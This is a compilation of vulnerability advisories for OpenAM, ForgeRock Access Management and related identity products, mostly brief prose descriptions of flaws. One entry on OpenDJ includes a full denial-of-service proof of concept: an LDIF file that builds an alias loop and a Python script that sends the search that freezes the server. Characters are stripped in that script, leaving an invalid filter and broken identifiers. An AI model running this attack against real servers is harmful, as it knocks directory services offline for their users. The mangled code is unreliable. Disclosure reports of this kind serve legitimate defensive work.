OpenAM before 16.1.3 contains an improper authorization vulnerability that allows delegated administrators to destroy sessions outside their realms because realm checks use the requester's realm. Authenticated accounts holding the iplanet-am-session-destroy-sessions attribute can supply a target session identifier or handle to forcibly log out users in any realm.

OpenAM before 16.1.3 contains an authorization bypass vulnerability in the sessions REST endpoint query operation that allows realm administrators to list sessions of every realm. Attackers holding delegated RealmAdmin privileges can supply a queryFilter naming another realm to disclose usernames, universal IDs, and session handles across tenant boundaries.

OpenAM before 16.1.3 applies its OAuth2 Provider PKCE enforcement only to authorization requests whose responsetype is exactly code, so codes issued through OpenID Connect hybrid flows (code token, code idtoken, code token idtoken) carry no bound challenge. An attacker who intercepts such a code can redeem it for a public client's tokens with any non-empty codeverifier.

OpenAM before 16.1.3 contains an open redirect vulnerability that allows unauthenticated attackers to redirect users by supplying an unverified idtokenhint to the /oauth2/connect/endSession endpoint. Attackers can name any realm client in a forged hint to redirect victims to any registered post-logout URI, enabling phishing that borrows the OpenAM host's trust.

OpenAM before 16.1.3 contains an email content injection vulnerability that allows unauthenticated attackers to control notification email wording via the forgotPassword and register actions on /json/{realm}/users. Attackers can supply subject and message fields to send phishing mail from the organisation's configured From address, or abuse register as a relay to arbitrary recipients.

OpenAM before 16.1.3 contains a latent cross-site scripting defect that places the SAML message, relay state and target URL unencoded into the load-balancer cookie bounce auto-submit page. If reachable with cookieHashRedirectEnabled set, crafted requests could execute script in the OpenAM origin, though an unrelated HTTP 500 failure prevents exploitation in released versions.

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen class name, crashing the server, probing the classpath, or potentially reaching code execution via gadget chains.

OpenAM before 16.1.3 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject script by supplying crafted parameters rendered unencoded on the OAuth2 authorization error page. Attackers can lure victims to a crafted /oauth2/authorize link with repeated parameters to run JavaScript in the OpenAM origin, acting within existing sessions or redirecting to phishing pages.

Summary If the "claimsparametersupported" parameter is activated, it is possible through the "oidc-claims-extension.groovy" script, to inject the value of choice into a claim contained in the idtoken or in the userinfo. Authorization function requests do not prevent a claims parameter containing a JSON file to be injected. This JSON file allows users to customize claims returned by the "idtoken" and "userinfo" files. This allows for a very wide range of vulnerabilities depending on how clients use claims. For example, if some clients rely on an email field to identify a user, users can choose to entera any email address, and therefore assume any chosen identity.

Summary A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce) 1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com 2. Import the attached exampledataaliasdos.ldif file into the LDAP database 3. Ensure that the ldap3 Python library is installed (pip install ldap3) 4. Run the attached Python script python opendjaliasdos.py, which searches for alias loops and executes the DoS attack 5. After executing the script, the server will stop responding to requests until it is restarted

Impact This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests: result: 80 Other (e.g., implementation specific) error text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVAERROR: Java Error occurred, recovery may not be possible.

exampledataaliasdos.ldif dn: dc=example,dc=com objectClass: top objectClass: domain dc: example

dn: ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: people description: All users

dn: ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: students description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person mail: jd123@example.com sn: Doe cn: John Doe givenName: John uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: employees description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: researchers description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com uid: jd123

opendjaliasdos.py Python import argparse

from ldap3 import Server, Connection, ALL, DEREFNEVER, DEREFALWAYS from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError

def connecttoldap(ip, port): try: server = Server(ip, port, getinfo=ALL) connection = Connection(server, autobind=True) return connection except (LDAPBindError, LDAPSocketOpenError) as e: print(f"Error connecting to LDAP server: {e}") return None

def findaliases(connection, basedn): try: searchfilter = "(objectClass=alias)" connection.search(basedn, searchfilter=searchfilter, dereferencealiases=DEREFNEVER, attributes=[""]) except Exception as e: print(f"Error during search: {e}")

aliases = {} for entry in connection.entries: entrydn = entry.entrydn entryalias = entry.aliasedObjectName.value aliases[entrydn] = entryalias

return aliases

def detectaliasloop(aliases): visited = set() path = set()

def dfs(alias): if alias in path: return alias if alias in visited: return None

path.add(alias) visited.add(alias)

aliasedtarget = aliases.get(alias) if aliasedtarget: result = dfs(aliasedtarget) if result: return result

path.remove(alias) return None

for alias in aliases: if alias not in visited: loopalias = dfs(alias) if loopalias: return loopalias

return None

def executedossearch(connection, loopingaliasdn): try: searchfilter = "(objectClass=)" connection.search(loopingaliasdn, searchfilter=searchfilter, dereferencealiases=DEREFALWAYS) except Exception as e: print(f"Error during search: {e}")

for entry in connection.entries: entrydn = entry.entrydn print(entrydn)

def main(): parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.") parser.addargument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.") parser.addargument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.") parser.addargument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.") args = parser.parseargs()

if not args.ip: args.ip = input("Please enter the IP address of the LDAP server: ")

if not args.port: while True: try: portinput = input("Please enter the port of the LDAP server: ") args.port = int(portinput) break except ValueError: print("Invalid input. Please enter a valid integer for the port.")

if not args.base: args.base = input("Please enter the base DN of the LDAP server: ")

connection = connecttoldap(args.ip, args.port) if connection: aliases = findaliases(connection, args.base) loopingaliasdn = detectaliasloop(aliases) if loopingaliasdn: executedossearch(connection, loopingaliasdn) print(f"DOS executed with alias: {loopingaliasdn}") else: print("No looping alias DN found!") connection.unbind()

if name == "main": main()

An Open-Redirect vulnerability exists in PingAM where well-crafted requests may cause improper validation of redirect URLs. This could allow an attacker to redirect end-users to malicious sites under their control, simplifying phishing attacks

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ForgeRock Access Management allows Authorization Bypass.

This issue affects access management: before 7.3.0, before 7.2.1, before 7.1.4, through 7.0.2.

Improper Authorization vulnerability in ForgeRock Inc. Access Management allows Authentication Bypass. This issue affects Access Management: from 6.5.0 through 7.2.0.

Cleartext Transmission of Sensitive Information vulnerability in ForgeRock Inc. OpenIDM and Java Remote Connector Server (RCS) LDAP Connector on Windows, MacOS, Linux allows Remote Services with Stolen Credentials.This issue affects OpenIDM and Java Remote Connector Server (RCS): from 1.5.20.9 through 1.5.20.13.

Relative Path Traversal vulnerability in ForgeRock Access Management Java Policy Agent allows Authentication Bypass. This issue affects Access Management Java Policy Agent: all versions up to 5.10.1

Relative Path Traversal vulnerability in ForgeRock Access Management Web Policy Agent allows Authentication Bypass. This issue affects Access Management Web Policy Agent: all versions up to 5.10.1

It may be possible to gain some details of the deployment through a well-crafted attack. This may allow that data to be used to probe internal network services.

An attacker can use the unrestricted LDAP queries to determine configuration entries

When the LDAP connector is started with StartTLS configured, unauthenticated access is granted. This issue affects: all versions of the LDAP connector prior to 1.5.20.9. The LDAP connector is bundled with Identity Management (IDM) and Remote Connector Server (RCS)

Missing access control in ForgeRock Access Management 7.1.0 and earlier versions on all platforms allows remote unauthenticated attackers to hijack sessions, including potentially admin-level sessions. This issue affects: ForgeRock Access Management 7.1 versions prior to 7.1.1; 6.5 versions prior to 6.5.4; all previous versions.

ForgeRock Access Management (AM) before 7.0.2, when configured with Active Directory as the Identity Store, has an authentication-bypass issue.

In ForgeRock Access Management (AM) before 7.0.2, the SAML2 implementation allows XML injection, potentially enabling a fraudulent SAML 2.0 assertion.

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/ request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier

ForgeRock OpenAM before 13.5.1 allows LDAP injection via the Webfinger protocol. For example, an unauthenticated attacker can perform character-by-character retrieval of password hashes, or retrieve a session token or a private key.

Dashboards and progressiveProfileForms in ForgeRock Identity Manager before 7.0.0 are vulnerable to stored XSS. The vulnerability affects versions 6.5.0.4, 6.0.0.6.

CF CLI version prior to v6.45.0 (bosh release version 1.16.0) writes the client id and secret to its config file when the user authenticates with --client-credentials flag. A local authenticated malicious user with access to the CF CLI config file can act as that client, who is the owner of the leaked credentials.

Auth 2.0 Authorization Server of ForgeRock Access Management (OpenAM) 13.5.0-13.5.1 and Access Management (AM) 5.0.0-5.1.1 does not correctly validate redirecturi for some invalid requests, which allows attackers to execute a script in the user's browser via reflected XSS.

OAuth 2.0 Authorization Server of ForgeRock Access Management (OpenAM) 13.5.0-13.5.1 and Access Management (AM) 5.0.0-5.1.1 does not correctly validate redirecturi for some invalid requests, which allows attackers to perform phishing via an unvalidated redirect.

The REST APIs in ForgeRock AM before 5.5.0 include SSOToken IDs as part of the URL, which allows attackers to obtain sensitive information by finding an ID value in a log file.

Unspecified methods in the RACF Connector component before 1.1.1.0 in ForgeRock OpenIDM and OpenICF improperly call the SearchControls constructor with returnObjFlag set to true, which allows remote attackers to execute arbitrary code via a crafted serialized Java object, aka LDAP entry poisoning.